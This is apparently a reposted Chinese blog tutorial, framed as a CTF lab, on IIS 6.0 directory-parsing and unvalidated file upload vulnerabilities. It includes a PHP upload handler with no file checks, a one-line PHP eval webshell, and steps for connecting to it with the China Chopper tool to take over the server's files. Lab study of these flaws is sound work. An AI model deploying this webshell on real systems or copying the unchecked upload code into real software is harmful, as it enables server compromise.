ctf-web:文件上传漏洞和文件解析漏洞

2022-09-05 11:35:40 浏览数 (1)

大家好,又见面了,我是你们的朋友全栈君。

这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍. 其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,还有这几个漏洞的利用就是web渗透…这不就是我好几年前看的东西么… 当然,其实我也学的不是很精通,只是稍微会一点,就不夸夸其谈了. 先说说这两个漏洞的区别. 一.文件上传漏洞 这个漏洞产生的原因是因为上传文件的不严谨所产生的. 比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将上传的文件存放在服务器,这样是十分危险的.并且一般和后面的文件解析漏洞配合在一起使用. 二.文件解析漏洞 这个漏洞是由于服务器的原因造成的,就比如我们一会儿要举例的iis6.0服务器就有这个漏洞. 简单来说,在iis6.0服务器上,如果服务器有一个”xxx.asp”文件夹,那么就会将这个文件下面的所有文件都当成一个asp脚本去执行.

想想看,如果我们上传了一个删除系统数据库的病毒文件上去,然后又被解析成了某种语法去执行,是不是后果很可怕? 因此,我会特地去讲一下这个东西的如何去实现的.后面我会把网站的源码附上.很多服务器都存在这个漏洞,我这里就介绍iis6.0的文件解析漏洞,想看其他的服务器的漏洞可以去百度一下. 工具的话我把名字发上来,自己去找一下. 实验环境:虚拟机win2003一台,软件phpstudy,中国菜刀

一.iis6.0服务器的文件解析漏洞

前面已经说过,iis6.0的漏洞就是会把xxx.asp文件夹下的文件都当作asp文件执行,我们试试便知. win2003都会自带iis6,因此直接安装就好,安装教程我就不发了,百度有. 如图,此刻已经是安装好的.记得点到web的选项,按照图中进行配置.

此刻我们已经搭建网站成功.用主机输入服务器ip即可进行访问.由于我之前搭建phpstudy占用了80端口,我就把端口改成了82.你们在做的时候应该是不需要这一步的.

配置好以后,点击网站,然后右键那个默认网站,点击停用.

之后右键网站->新建->网站,新建一个自己的网站.我的已经建好了,就不做多余的演示了

需要注意的是,在新建网站的时候,有个运行脚本的选项要选上.如图

在这个里面点击右键,添加一个文件,和文件夹,文件名字叫做”index.html”,文件夹名字随便起一个以.asp结尾的即可,我的是wzc.asp.然后在文件夹里面新建一个文件,名字随便起一个,比如1.txt.

然后在这两个新建的1.txt和index.html都写入以下的内容:

代码语言:javascript复制
<%
response.write("My first ASP script!")
%>

为什么要这么建文件呢?其实就是为了验证这个漏洞的.上面的代码是asp的语法,在屏幕上显示一句话. 如果文件被解析成了asp文件,那么就会只显示引号里面的内容. 如果没有的话,就直接把所有内容都显示出来. 因此.我们新建了这两个文件用来验证.

验证一:访问非asp文件夹下的文件(我的端口是81)

也就是网站的主页.我用主机进行访问时,页面显示的是这样的:

看,是不是直接把文件当成了一个txt文本显示了出来?

验证二:访问以.asp结尾文件夹下的文件

访问结果如图:

果然,我们的代码被当成了asp脚本执行了.由此验证,我们的iis6.0确实存在这个漏洞.

二.文件上传漏洞和文件解析漏洞的结合使用

文件上传漏洞产生的原因就不像上一个是因为服务器产生的了,而是因为程序员的不严谨而产生的. 在一些允许上传文件的网站中,编写php后台脚本时,不会对文件近进行检查,所以有一些黑客会利用这个上传一个叫”一句话木马”的脚本. 这种脚本属于木马,当上传成功以后,在攻击者的电脑使用比如”中国菜刀”之类的软件进行连接,最终为所欲为. 当然,中国菜刀属于比较落后的软甲,比较先进的有冰蝎等软件.有兴趣可以百度. 由此可见,这种漏洞的危害性是非常大的.下面我会演示一下这个过程.

过程实现

首先安装phpstudy,然后在你的服务器下添加下面两个网站.源码发在下面. 文件一:upload-file.html

代码语言:javascript复制
<html>
<head>
 <title> 文件上传之解析漏洞~php</title>
 </head>
<body>

<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /> 
<br />
<input type="submit" name="submit" value="提交" />
</form>

</body>
</html>

文件二:upload.php

代码语言:javascript复制
<?php

  if ($_FILES["file"]["error"] > 0)
    { 
   
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    { 
   
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      { 
   
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      { 
   
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
 
?>

放在如图的位置.

远程访问以下,发现成功.

我们随便上传一个php文件.

…连点防御都没有(从那个php代码就可以看出,不过我是从攻击者的角度出发的,由此可证明这个php代码有文件上传的漏洞). 如图,在服务器下有个upload文件,里面就是我们上传的文件.

这个php一句话木马只是用来测试的,是为了看看能不能上传成功.现在我把一句话木马源码奉上.

代码语言:javascript复制
<?php eval($_POST["wzc"]);?>

这段代码的原理我就不解释了.目的是为了方便使中国菜刀进行连接.你需要修改的使引号里面的内容,这个是后面中国菜刀连接是的密码. 如图,这个是我的中国菜刀的界面,按照图中的方式配置.

上面把你的一句话木马的网站上的路径填上.我当时为了方便,把名字改成了”1.php”.后面的空填刚刚的密码,下面记得选择php(eval)代码类型.连接以后,右键文件管理,会产生如图的效果.

看,现在我们就进到服务器里面了,接下来想怎么搞就怎么搞了.

好了,就写这么多吧. 剩余的也懒的想了,如果还想继续看一些东西的话,可以关注我,我后续会发一些比如数据库注入,软件破解之类的东西.

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/137511.html原文链接:https://javaforall.cn

0 人点赞